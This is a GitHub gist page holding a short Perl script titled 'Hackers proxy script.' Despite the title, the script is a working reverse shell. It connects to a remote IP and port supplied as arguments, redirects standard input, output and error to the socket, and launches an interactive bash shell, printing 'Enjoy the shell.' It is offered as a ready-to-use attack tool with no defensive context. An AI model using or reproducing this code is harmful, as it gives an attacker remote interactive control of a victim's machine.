Skip to content

Instantly share code, notes, and snippets.

@kitsunde
Created July 8, 2014 11:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kitsunde/e1875a1a1e1e71e75f33 to your computer and use it in GitHub Desktop.
Save kitsunde/e1875a1a1e1e71e75f33 to your computer and use it in GitHub Desktop.
Hackers proxy script.
#!/usr/bin/perl -w
use strict;
use Socket;
use IO::Handle;
if($#ARGV+1 != 2){
print "$#ARGV $0 Remote_IP Remote_Port \n";
exit 1;
}
my $remote_ip = $ARGV[0];
my $remote_port = $ARGV[1];
my $proto = getprotobyname("tcp");
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));
my $shell = '/bin/bash -i';
socket(SOCK, AF_INET, SOCK_STREAM, $proto);
STDOUT->autoflush(1);
SOCK->autoflush(1);
connect(SOCK,$pack_addr) or die "can not connect:$!";
open STDIN, "<&SOCK";
open STDOUT, ">&SOCK";
open STDERR, ">&SOCK";
print "Enjoy the shell.\n";
system($shell);
close SOCK;
exit 0;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment